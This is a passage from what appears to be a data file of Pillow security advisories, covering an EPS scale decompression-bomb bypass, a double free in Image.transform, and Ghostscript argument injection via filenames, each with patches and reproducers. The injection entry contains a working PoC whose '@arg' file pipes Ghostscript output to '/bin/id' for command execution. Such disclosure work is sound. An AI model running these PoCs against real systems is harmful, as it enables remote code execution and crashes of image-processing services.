on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) \u2026 # src/PIL/EpsImagePlugin.py:139-142 command = [ gs_binary, \"-q\", # quiet mode f\"-g{width:d}x{height:d}\", # set output geometry (pixels) \u2026 # src/PIL/EpsImagePlugin.py:165-168 subprocess.check_call(command, startupinfo=startupinfo) with Image.open(outfile) as out_im: out_im.load() return out_im.im.copy() ``` and its caller does nothing between taking `scale` from the application and invoking it: ```python # src/PIL/EpsImagePlugin.py:411-417 def load(self, scale: int = 1, transparency: bool = False) -> \u2026: # Load EPS via Ghostscript if self.tile: assert self.fp is not None self.im = Ghostscript(self.tile, self.size, self.fp, scale, transparency) ``` `size` here is `self._size`, computed in `_open()` from the file's `%%BoundingBox` (or `%ImageData`) and checked once by `Image.open()` at `src/PIL/Image.py:3700`. For the benign path (`scale=1`) that check covers exactly what Ghostscript is asked to render. For `scale=N` the rendered pixel count is N\u00b2 times what was checked, so a file can sit just under the limit at open time and have Ghostscript render 4\u00d7 (scale 2), 9\u00d7 (scale 3), 16\u00d7 (scale 4) the configured budget. The first point at which Pillow looks at the real size again is `Image.open(outfile)` at line 166 \u2014 after `subprocess.check_call` has returned, i.e. after Ghostscript has spent the CPU and written `width*height*3` bytes to `tempfile.mkstemp()`'s directory. `WmfStubImageFile.load(dpi)` has the same shape (file-derived extent \u00d7 caller-supplied factor \u2192 new raster) and, since af70b075a, calls `Image._decompression_bomb_check(self.size)` on the recomputed size before rendering (`src/PIL/WmfImagePlugin.py:127-131`). The EPS path lacks the equivalent line. The gap dates from ce2955ec7128 (\"Throw an exception when an opened image is larger than an arbitrary limit\", 2014-05-14, first released in 2.5.0), which added the check to `Image.open()` without covering the `scale` path. ## Impact Affected are applications that open untrusted EPS/PS with Ghostscript installed and call `load(scale=N)` with a fixed N > 1, as the handbook suggests for non-blurry output. Handing untrusted EPS to Ghostscript at all already lets the same attacker tie up a worker with an equally tiny file (e.g. a PostScript `{} loop`; Pillow runs `gs` with no timeout), so this bug adds a constant factor rather than a new denial-of-service capability. Within that setting, a ~110-byte upload makes each request run Ghostscript over N\u00b2 \u00d7 `MAX_IMAGE_PIXELS` pixels (N\u00b2 \u00d7 2\u00b7`MAX_IMAGE_PIXELS` if the application does not turn `DecompressionBombWarning` into an error) and write a `W\u00b7H\u00b73`-byte PNM into the temp directory \u2014 972 MB for the example above at scale 2, 2.2 GB at scale 3, 8.6 GB for a 178-Mpixel declaration at scale 4 \u2014 before any limit is applied. The operator's `MAX_IMAGE_PIXELS` setting is exceeded by a factor of N\u00b2; N is an integer chosen by the application, not by the file, so the work stays bounded at N\u00b2 \u00d7 2\u00b7`MAX_IMAGE_PIXELS`. The consequence is N\u00b2 more Ghostscript CPU and temp-disk use per request than the configured limit intends; Pillow's own in-process pixel allocation remains bounded because `Image.open(outfile)` re-checks the PNM's size, and there is no memory corruption. This is a sibling of the WMF `load(dpi)` issue fixed in af70b075a (\"Add decompression bomb check when loading at a different DPI\"); the EPS `scale` path was not covered by that change. Unlike the WMF case, where the file-controlled `_inch` makes the ratio unbounded, the EPS multiplier is fixed by the application. ## Reproducing Run `repro` against the installed Pillow. Ghostscript does not need to be installed: the script sets `EpsImagePlugin.gs_binary = \"gs\"` so that `has_ghostscript()` skips its `gs --version` probe, and replaces `subprocess.check_call` with a function that records the command line Pillow builds and then raises `OSError`, so nothing is actually rendered. It writes a 76-byte EPS declaring `%%BoundingBox: 0 0 9000 9000` (the example above without the drawing line; 81 Mpixel, below the default `MAX_IMAGE_PIXELS` of 89,478,485) and turns `DecompressionBombWarning` into an error, so any bomb check \u2014 warning or hard error \u2014 counts. It then calls `Image.open()` and `im.load(scale=2)`. `Image.open()` accepts the file and `load(scale=2)` reaches the intercepted Ghostscript call with `-g18000x18000` (324,000,000 pixels, 3.6\u00d7 `MAX_IMAGE_PIXELS`, a 972 MB `pnmraw` output with real Ghostscript). The script prints the geometry it captured. It prints `BUG` when Ghostscript was invoked with a `-g` geometry above `2*MAX_IMAGE_PIXELS` (178,956,970) and no decompression-bomb check fired before that call; otherwise it prints `OK`. With the attached patch applied, `load(scale=2)` raises `DecompressionBombError` before Ghostscript is called and the script prints `OK`. ## Suggested fix The attached patch checks the scaled size in `Ghostscript()` right after the scaled `width`/`height` are computed (`src/PIL/EpsImagePlugin.py:93-94`) and before the `gs` command is built, mirroring `WmfStubImageFile.load`: ```diff --- a/src/PIL/EpsImagePlugin.py +++ b/src/PIL/EpsImagePlugin.py @@ -92,6 +92,7 @@ def Ghostscript( scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale + Image._decompression_bomb_check((width, height)) # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) res_y = 72.0 * height / (bbox[3] - bbox[1]) ``` `load(scale=N)` now raises `DecompressionBombError` / emits `DecompressionBombWarning` under the same `MAX_IMAGE_PIXELS` thresholds `Image.open()` applies, before Ghostscript runs instead of after. Placing the check in `Ghostscript()` rather than in `EpsImageFile.load()` is the single point where the rendered extent is decided, so it also covers direct callers of the module-level function. With the patch applied to a clean checkout the reproducer prints `OK` and `Tests/test_file_eps.py` passes. One cosmetic side effect: at `scale=1` the check re-emits the `DecompressionBombWarning` that `Image.open()` already issued for sizes between 1\u00d7 and 2\u00d7 the limit; guarding the call with `if scale > 1:` would avoid the duplicate. The patch also adds `test_load_scale_decompression_bomb` to `Tests/test_file_eps.py`, in the style of the WMF test: it sets `MAX_IMAGE_PIXELS` to `im.width * im.height` and expects `im.load(scale=2)` to raise `DecompressionBombError`. Like the rest of that file it is skipped without Ghostscript, because `has_ghostscript()` is consulted at the top of `Ghostscript()`; moving the check above that call would let the test run without it. ## The patch Add decompression bomb check on the scaled size in EpsImagePlugin.Ghostscript() before Ghostscript is invoked Applies to `src/PIL/EpsImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_eps.py b/Tests/test_file_eps.py index 70eced62a..de331d97f 100644 --- a/Tests/test_file_eps.py +++ b/Tests/test_file_eps.py @@ -98,6 +98,14 @@ def test_sanity(filename: str, size: tuple[int, int], scale: int) -> None: assert image.format == \"EPS\" +@pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason=\"Ghostscript not available\") +def test_load_scale_decompression_bomb(monkeypatch: pytest.MonkeyPatch) -> None: + with Image.open(FILE1) as im: + monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", im.width * im.height) + with pytest.raises(Image.DecompressionBombError): + im.load(scale=2) + + @pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason=\"Ghostscript not available\") def test_load() -> None: with Image.open(FILE1) as im: diff --git a/src/PIL/EpsImagePlugin.py b/src/PIL/EpsImagePlugin.py index 5eaefe339..ccc6f1d85 100644 --- a/src/PIL/EpsImagePlugin.py +++ b/src/PIL/EpsImagePlugin.py @@ -92,6 +92,7 @@ def Ghostscript( scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale + Image._decompression_bomb_check((width, height)) # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) res_y = 72.0 * height / (bbox[3] - bbox[1]) ``` ## The reproducer Reproducer \u2014 repro, 1,845 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # EpsImagePlugin.Ghostscript(): load(scale=N) hands gs a -g geometry of # (W*N)x(H*N) with no _decompression_bomb_check on the scaled size; only the # unscaled WxH was checked by Image.open(). gs is not installed here, so we # set gs_binary and intercept subprocess.check_call to read the argv Pillow builds. import os, subprocess, tempfile, warnings from PIL import Image, EpsImagePlugin EpsImagePlugin.gs_binary = \"gs\" # skip the `gs --version` probe path = os.path.join(tempfile.mkdtemp(), \"a.eps\") with open(path, \"w\") as f: # 9000x9000 = 81 Mpx < MAX_IMAGE_PIXELS (89.5 Mpx) f.write(\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 9000 9000\\n%%EndComments\\nshowpage\\n\") calls = [] def fake_check_call(cmd, **kw): calls.append(cmd) raise OSError(\"gs intercepted\") # stop here; we only need the argv subprocess.check_call = fake_check_call hard = 2 * Image.MAX_IMAGE_PIXELS bomb_before_gs = False with warnings.catch_warnings(): warnings.simplefilter(\"error\", Image.DecompressionBombWarning) try: with Image.open(path) as im: print(\"Image.open accepted\", os.path.getsize(path), \"byte EPS, size\", im.size) im.load(scale=2) except (Image.DecompressionBombError, Image.DecompressionBombWarning) as e: bomb_before_gs = not calls print(\"bomb check fired\", \"before\" if bomb_before_gs else \"after\", \"gs:\", e) except OSError as e: print(\"load() reached gs:\", e) over = False for c in calls: g = next(a for a in c if a.startswith(\"-g\"))[2:] w, h = map(int, g.split(\"x\")) over |= w * h > hard print(f\"gs argv geometry -g{g} = {w*h} px ({w*h/Image.MAX_IMAGE_PIXELS:.1f}x MAX_IMAGE_PIXELS, \" f\"hard limit {hard}); pnmraw output would be {w*h*3} bytes\") print(\"BUG\" if calls and over and not bomb_before_gs else \"OK\") ``` ---"}, {"id": "CVE-2026-112402", "fix_versions": ["13.0.0"], "aliases": ["GHSA-7mwm-ghpf-9vrm"], "description": "``` ============================================================================ Double free in ImagingScaleAffine on calloc failure via Image.transform Location: src/libImaging/Geometry.c:866 in ImagingScaleAffine() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` There is a double free in Pillow's `Image.transform()` that crashes the process when an oversized transform runs out of memory. Instead of only raising `MemoryError`, Pillow frees the output image's memory once while handling the error and then again when the Python object is cleaned up. Anyone who can choose the output size of `Image.transform()` can trigger it, but only on a worker with a memory limit (a common hardening for image workers) or a 32-bit process. The result is a crash of the worker, plus corruption of its heap that has not been shown to be controllable. The bug is in `ImagingScaleAffine()` in `src/libImaging/Geometry.c` (line 866). When its `calloc()` for the per-column lookup table of `4 \u00d7 width` bytes fails, it calls `ImagingDelete(imOut)`. When the call comes from `Image.transform()`, `imOut` is the `Imaging` struct owned by the live Python `ImagingCore` output object. `_dealloc()` in `src/_imaging.c` later runs `ImagingDelete()` on the freed struct again, writing its mutex and refcount in freed memory and freeing the pixel blocks a second time. The path is reached with `Transform.EXTENT`, or `Transform.AFFINE` with a pure scale/translate matrix, under the default NEAREST resampling. A very wide, 1-row output size makes the lookup table the allocation that fails while the image itself still fits. On 64-bit Linux with default overcommit, that requires an address-space limit such as `ulimit -v`, `uwsgi --limit-as` or `systemd LimitAS=`. `resize()`, `thumbnail()` and `rotate()` are not affected. The attached reproducer runs on a stock build with a 1 GB limit: `transform((300000000, 1), EXTENT)` raises and catches `MemoryError`, then the process dies with SIGSEGV in `free()` called from `_dealloc()`. A memory-checking build reports the same path as a heap use-after-free. The faulty line was inherited from PIL 1.1.7 in the original fork commit, so every Pillow release since 1.0 is affected. A patch is attached. ## Details `ImagingScaleAffine()` frees an image it does not own. On the one error path where its `calloc()` for the per-column lookup table fails, it calls `ImagingDelete(imOut)`. When reached through `Image.transform()`, `imOut` is the `Imaging` struct held by a live Python `ImagingCore` object; that object's `_dealloc()` later calls `ImagingDelete()` on the already-freed struct and frees its pixel blocks a second time. Shortest demonstration on the stock build (the address-space limit stands in for `ulimit -v` / `uwsgi --limit-as` / `systemd LimitAS=` on a worker): ```python import resource, gc from PIL import Image resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2) src = Image.new(\"L\", (8, 8)) try: src.transform((300_000_000, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) except MemoryError: pass # expected, and the process should carry on gc.collect() # instead: SIGSEGV in _dealloc -> ImagingDelete -> free() ``` The 300 MB output image allocates; `calloc(300000000, 4)` (1.2 GB) does not. `MemoryError` is raised as intended, but the interpreter then dies with SIGSEGV, gdb showing `free()` \u2190 `memory_return_block`/`ImagingDestroyArray` (`src/libImaging/Storage.c:396,408`) \u2190 `ImagingDelete` (`Storage.c:271`) \u2190 `_dealloc` (`src/_imaging.c:188`). An AddressSanitizer build of the same sources (with `max_allocation_size_mb` used to make the `calloc` fail instead of an rlimit) reports `heap-use-after-free` in `ImagingDelete src/libImaging/Storage.c:257` called from `_dealloc src/_imaging.c:188`, on a 128-byte region \"freed by\" `ImagingDelete` \u2190 `ImagingScaleAffine src/libImaging/Geometry.c:866` \u2190 `ImagingTransformAffine Geometry.c:1043` \u2190 `ImagingTransform Geometry.c:1135` \u2190 `_transform src/_imaging.c:2153`, \"previously allocated by\" `ImagingNewPrologueSubtype Storage.c:53` \u2190 \u2026 \u2190 `_new src/_imaging.c:756`. ### Code path `Image.transform()` creates the output image as an ordinary Python-owned image and then transforms *into* it: ```python # src/PIL/Image.py:3008\u20263021 im = new(self.mode, size, fillcolor) \u2026 im.__transformer( (0, 0, *size), self, method, data, resample, fillcolor is None ) ``` `__transformer()` rewrites `Transform.EXTENT` into an axis-aligned affine matrix (`src/PIL/Image.py:3040-3046`: `data = (xs, 0, x0, 0, ys, y0)`, `method = Transform.AFFINE`) and calls `self.im.transform(box, image.im, method, data, resample, fill)` (`Image.py:3117`). `resample` defaults to `Resampling.NEAREST` (`Image.py:2936`). In C, `_transform()` passes its *own* image as the destination: ```c /* src/_imaging.c:2153 */ imOut = ImagingTransform( self->image, imagep->image, method, x0, y0, x1, y1, a, filter, fill ); ``` `ImagingTransformAffine()` takes the scaling fast path because the filter is NEAREST and the matrix has no shear: ```c /* src/libImaging/Geometry.c:1035-1043 */ if (filterid || imIn->type == IMAGING_TYPE_I16) { return ImagingGenericTransform(\u2026); } if (a[1] == 0 && a[3] == 0) { /* Scaling */ return ImagingScaleAffine(imOut, imIn, x0, y0, x1, y1, a, fill); } ``` and `ImagingScaleAffine()` allocates a table of `imOut->xsize` ints: ```c /* src/libImaging/Geometry.c:863-868 */ /* malloc check ok, uses calloc for overflow */ xintab = (int *)calloc(imOut->xsize, sizeof(int)); if (!xintab) { ImagingDelete(imOut); /* <-- imOut belongs to the caller */ return (Imaging)ImagingError_MemoryError(); } ``` `ImagingDelete()` (`src/libImaging/Storage.c:250-279`) drops the refcount to 0, returns the pixel blocks to the arena / `free()`s them via `im->destroy`, and `free(im)`. `self->image` in the `ImagingCore` object still points at the freed struct. `_transform()` returns `NULL`, `Image.transform()` propagates `MemoryError`, the half-built output `Image` loses its last reference, and `_dealloc()` (`src/_imaging.c:188`) calls `ImagingDelete(imagep->image)` again: it locks `im->mutex` and decrements `im->refcount` inside freed memory, then walks `im->blocks` (already freed, typically reused by then) and frees every entry a second time. In the observed stock-build runs the freed `blocks` array had been overwritten, so `free()` receives a mangled pointer and the process segfaults; with other heap states it is a plain double free of a 300 MB block. Every other error return in `Geometry.c` (`ImagingError_ModeError`, `ImagingError_Mismatch`, `\"bad filter number\"`, `\"bad transform method\"`) leaves `imOut` alone; line 866 is the only one that deletes it. The delete is only correct for the other caller, `_resize()` (`src/_imaging.c:2026-2030`), where `imOut` is a fresh `ImagingNewDirty()` temporary that nothing else references. The delete predates Pillow's git history: it came in with the PIL 1.1.7 import, `9a640e315715` (\"Forking PIL\", 2010-07-30), so every release since Pillow 1.0 is affected. The output width is what decides whether the path is hit: the output image costs `width \u00d7 height \u00d7 pixelsize` bytes, the table an additional `4 \u00d7 width`. A very wide, 1-row output (300 000 000 \u00d7 1 \"L\": 300 MB image, 1.2 GB table) makes the table the allocation that fails. `ImagingNewPrologueSubtype()` caps `xsize` at `INT_MAX/4 - 1`, so the table is at most ~2 GB. ## Impact Applications that let a user choose the output size of `Image.transform()` \u2014 `Transform.EXTENT` (crop-and-scale), `Transform.AFFINE` with a pure scale/translate matrix, or the `ImageTransform.ExtentTransform`/`AffineTransform` helpers, all with the default NEAREST resampling \u2014 can have an allocation failure turned into a use-after-free and double free inside the worker process instead of the `MemoryError` the API is meant to raise. `resize()`, `thumbnail()` and `rotate()` do not reach this path; `Image.resize(..., NEAREST, box=...)` goes through `ImagingScaleAffine()` but owns its output, and raises a clean `MemoryError`. The second precondition is that the output image itself allocates but the extra `4 \u00d7 width` bytes do not; on 64-bit Linux with default overcommit this requires an address-space limit on the process (`ulimit -v`, `uwsgi --limit-as`, `systemd LimitAS=`, an in-app `setrlimit`), which is a common hardening for image workers; 32-bit processes can reach it through ordinary address-space exhaustion. The demonstrated consequence is a crash of the process handling the request after `MemoryError` has already been raised and possibly handled. The second `ImagingDelete()` also writes into the freed 128-byte struct (mutex, refcount) and double-frees an attacker-sized block, which is heap corruption rather than a clean abort, but no control over the written data is shown. ## Reproducing Run `repro` (a self-contained Python script) from any directory. It uses the installed stock build, so nothing is rebuilt, and has no companion files. It runs the demonstration above in a child interpreter (`python3 -c`, taking `WIDTH` as an argument): the child disables core files, sets `RLIMIT_AS` to 1 GB (the kind of limit image workers are commonly given), creates an 8\u00d78 \"L\" image, calls `src.transform((WIDTH, 1), Image.Transform.EXTENT, (0, 0, 8, 8))` with the default NEAREST resampling, prints `MemoryError caught` if that raises, then runs `gc.collect()` and prints `alive`. EXTENT with NEAREST is a pure scale, so the call goes through `ImagingScaleAffine()`, which callocs a `4 \u00d7 WIDTH`-byte table in addition to the `WIDTH`-byte output image. The script runs the child twice: - **Control:** width 50 000 000. The 50 MB image and the 200 MB table both fit under the limit, and the transform succeeds, which shows the limit itself is harmless. - **Attack:** width 300 000 000. The 300 MB output image is allocated, but `calloc(300000000, 4)` (1.2 GB) fails. Pillow correctly raises `MemoryError`, and the child catches it. But `ImagingScaleAffine()` has already called `ImagingDelete()` on the output image it does not own. When the output image is released, it is freed again. The child prints `MemoryError caught` and then dies with SIGSEGV instead of printing `alive`. If the attack child was killed by a signal and `gdb` is installed, the script runs the attack again under `gdb` and prints the backtrace. The crash is in `free()` \u2190 `memory_return_block`/`ImagingDestroyArray` (`Storage.c:396,408`) \u2190 `ImagingDelete` (`Storage.c:271`) \u2190 `_dealloc` (`_imaging.c:188`). In other words, the Python object's destructor is deleting the already-freed struct a second time. The verdict does not depend on this step. The last line is `BUG` when the control exits 0 and the attack prints `MemoryError caught` and then dies from a signal without printing `alive`. Otherwise it is `OK`. With the attached patch applied, the attack prints `MemoryError caught`, then `alive`, exits 0, and the script prints `OK`. ## Suggested fix `ImagingScaleAffine()` never owns `imOut`. The attached patch removes the `ImagingDelete()` at `src/libImaging/Geometry.c:866` and makes the one caller that relied on it, `_resize()` in `src/_imaging.c`, clean up its own temporary, the same idiom `_gaussian_blur()`/`_unsharp_mask()` already use. This also fixes `_resize()` passing a possible `NULL` from `ImagingNewDirty()` into `ImagingTransform()`, and leaking the temporary on the other `ImagingTransform()` error returns: ```diff --- a/src/libImaging/Geometry.c +++ b/src/libImaging/Geometry.c @@ -863,7 +863,7 @@ ImagingScaleAffine( /* malloc check ok, uses calloc for overflow */ xintab = (int *)calloc(imOut->xsize, sizeof(int)); if (!xintab) { - ImagingDelete(imOut); + /* imOut is owned by the caller; don't delete it here */ return (Imaging)ImagingError_MemoryError(); } --- a/src/_imaging.c +++ b/src/_imaging.c @@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) { a[5] = box[1]; imOut = ImagingNewDirty(imIn->mode, xsize, ysize); + if (!imOut) { + return NULL; + } - imOut = ImagingTransform( - imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 - ); + if (!ImagingTransform( + imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 + )) { + ImagingDelete(imOut); + return NULL; + } } else { ``` Every `ImagingTransform*()` path returns the same `imOut` on success, so wrapping the original pointer in `PyImagingNew()` in `_resize()` is unchanged behaviour. With the patch applied to a clean checkout and rebuilt, the reproducer prints `OK` and `Image.resize(..., NEAREST, box=...)` under the same limit raises a clean `MemoryError`. ## The patch Stop ImagingScaleAffine() deleting the caller-owned output image on calloc failure; make _resize() free its own temporary instead Applies to `src/libImaging/Geometry.c` at the commit above. ```diff diff --git a/src/_imaging.c b/src/_imaging.c index 7e9c0e391..ac1873292 100644 --- a/src/_imaging.c +++ b/src/_imaging.c @@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) { a[5] = box[1]; imOut = ImagingNewDirty(imIn->mode, xsize, ysize); + if (!imOut) { + return NULL; + } - imOut = ImagingTransform( - imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 - ); + if (!ImagingTransform( + imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 + )) { + ImagingDelete(imOut); + return NULL; + } } else { imOut = ImagingResample(imIn, xsize, ysize, filter, box); } diff --git a/src/libImaging/Geometry.c b/src/libImaging/Geometry.c index 1bf92e26e..2baf000a5 100644 --- a/src/libImaging/Geometry.c +++ b/src/libImaging/Geometry.c @@ -863,7 +863,7 @@ ImagingScaleAffine( /* malloc check ok, uses calloc for overflow */ xintab = (int *)calloc(imOut->xsize, sizeof(int)); if (!xintab) { - ImagingDelete(imOut); + /* imOut is owned by the caller; don't delete it here */ return (Imaging)ImagingError_MemoryError(); } ``` ## The reproducer Reproducer \u2014 repro, 2,064 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # UAF/double free in ImagingScaleAffine() (src/libImaging/Geometry.c:866): # on calloc() failure it ImagingDelete()s imOut, which for Image.transform() # is the Imaging struct owned by the live Python output image; that image's # _dealloc then ImagingDelete()s it again. Stock /src build, no rebuild. # A 1 GB RLIMIT_AS makes the 300 MB output image fit but the 1.2 GB # 4*width lookup table fail. Expected: MemoryError, process survives. import subprocess, sys, textwrap, signal child = textwrap.dedent(''' import resource, gc, sys from PIL import Image resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2) w = int(sys.argv[1]) src = Image.new(\"L\", (8, 8)) try: src.transform((w, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) print(\"transform ok\") except MemoryError: print(\"MemoryError caught\") gc.collect() print(\"alive\") ''') def run(width): p = subprocess.run([sys.executable, \"-u\", \"-c\", child, str(width)], capture_output=True, text=True, timeout=50) print(f\"-- width={width}: rc={p.returncode}\\n{p.stdout.rstrip()}\") return p ctrl = run(50_000_000) # 50 MB image + 200 MB table fit under the limit att = run(300_000_000) # 300 MB image fits, 1.2 GB table does not bug = (ctrl.returncode == 0 and \"MemoryError caught\" in att.stdout and \"alive\" not in att.stdout and att.returncode < 0) if att.returncode < 0: print(\"attack child killed by\", signal.Signals(-att.returncode).name) import shutil if shutil.which(\"gdb\"): # evidence only; verdict does not depend on it g = subprocess.run([\"gdb\", \"-q\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt 6\", \"--args\", sys.executable, \"-c\", child, \"300000000\"], capture_output=True, text=True, timeout=120) print(\"\\n\".join(l for l in g.stdout.splitlines() if l.startswith(\"#\") or \"signal\" in l)) print(\"BUG\" if bug else \"OK\") ``` ---"}, {"id": "CVE-2026-112900", "fix_versions": ["13.0.0"], "aliases": ["GHSA-w889-685w-c8fh"], "description": "### Summary `PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f `. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled). ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ #### Type CWE-88 (Argument Injection) (\u2192 CWE-78 (OS Command Injection) optionally, with attacker controlled text file) #### Vulnerable Codes ```python infile_temp = None if hasattr(fp, \"name\") and os.path.exists(fp.name): infile = fp.name # user-controlled path used as-is, without validation else: in_fd, infile_temp = tempfile.mkstemp() os.close(in_fd) infile = infile_temp # ... (copy fp into a temporary file) # Build Ghostscript command command = [ gs_binary, \"-q\", f\"-g{width:d}x{height:d}\", f\"-r{res_x:f}x{res_y:f}\", \"-dBATCH\", \"-dNOPAUSE\", \"-dSAFER\", # default sandbox \u2014 does NOT stop this injection f\"-sDEVICE={device}\", f\"-sOutputFile={outfile}\", \"-c\", f\"{-bbox[0]} {-bbox[1]} translate\", \"-f\", infile, # injected here: inserted into argv with no check for # option prefixes (-, --) or Ghostscript's @-file token # => argument injection (CWE-88) \"-c\", \"showpage\", ] # ... subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript ``` #### Root cause. When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing \u2014 in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting. #### Affected - Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included). - Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` \u2014 `infile = fp.name`, and the command list entry `\"-f\", infile`. #### Suggested fix Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`): ```python if hasattr(fp, \"name\") and os.path.exists(fp.name): infile = os.path.abspath(fp.name) # was: infile = fp.name ``` `os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change. ### PoC dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py. ``` FROM ubuntu:24.04 RUN apt update RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates RUN rm -rf /var/lib/apt/lists/* RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0 ENV PATH=/venv/bin:$PATH WORKDIR /poc COPY poc.py . COPY poc-rce.py . COPY arg . CMD [\"python3\", \"poc.py\"] ``` poc.py ``` import os from PIL import Image ############################################################################################ # Attacker controlled file ############################################################################################ EPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\" name = \"-h\" with open(name, \"wb\") as f: f.write(EPS) ############################################################################################ print(f\"[*] Pillow opens a file whose name is {name!r}\") im = Image.open(name) print(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\") try: im.load() except Exception as e: print(f\"[*] load() raised: {type(e).__name__}: {e}\") print(\"CWE-88: argument injection; Pillow code doesn't validate argument name\") print(\" This poc.py shows the vulnerability clearly.\") print(\" If Pillow checks the name of file before it uses, It won't display `help`\") ``` poc-rce.py ``` import os from PIL import Image ############################################################################################ # Attacker controlled file ############################################################################################ EPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\" # To chain this vulnerability into critical RCE, We need another arbitrary text file # In this script, it is `arg`. name = \"@arg\" with open(name, \"wb\") as f: f.write(EPS) ############################################################################################ print(f\"[*] Pillow opens a file whose name is {name!r}\") im = Image.open(name) print(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\") print(f\"[*] and this leads to arbitrary command injection.\") print(f\"*********************************************\") try: im.load() except Exception as e: print(f\"*********************************************\") print(f\"[*] load() raised: {type(e).__name__}: {e}\") print(\"\") print(\"CWE-78: OS Command Injection;\") print(\"CWE-88: Argument Injection ; Pillow code doesn't validate argument name\") print(\" This poc.py shows the vulnerability clearly.\") print(\" If Pillow checks the name of file before it uses, It won't call `id`\") ``` arg ``` -sOutputFile=%pipe%/bin/id -c 1 dict dup /OutputFile (%pipe%/bin/id) put setpagedevice ``` ### Impact **Confirmed \u2014 Ghostscript argument injection.** Because the filename is not validated, a leading `-`/`--` is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to `Image.open()` can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds. **Potential RCE (verified).** The filename is also not validated against Ghostscript's `@`-file syntax: a filename of the form `@` causes Ghostscript to read additional command-line arguments from ``, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution \u2014 an escalation we verified in our PoC (execution of `id`). Applies under Pillow's default configuration (with `-dSAFER` enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1) ### Why this is a Pillow bug (not the documented \"block untrusted EPS\" risk) This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected \u2014 the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition \u2014 attacker influence over a filename that reaches Image.open() \u2014 is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API. ### Author Chanu Kang (from CysecLab at KAIST) @HLe4s"}, {"id": "CVE-2026-112893", "fix_versions": ["13.0.0"], "aliases": ["GHSA-j4m9-6w36-pw47"], "description": "### Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph 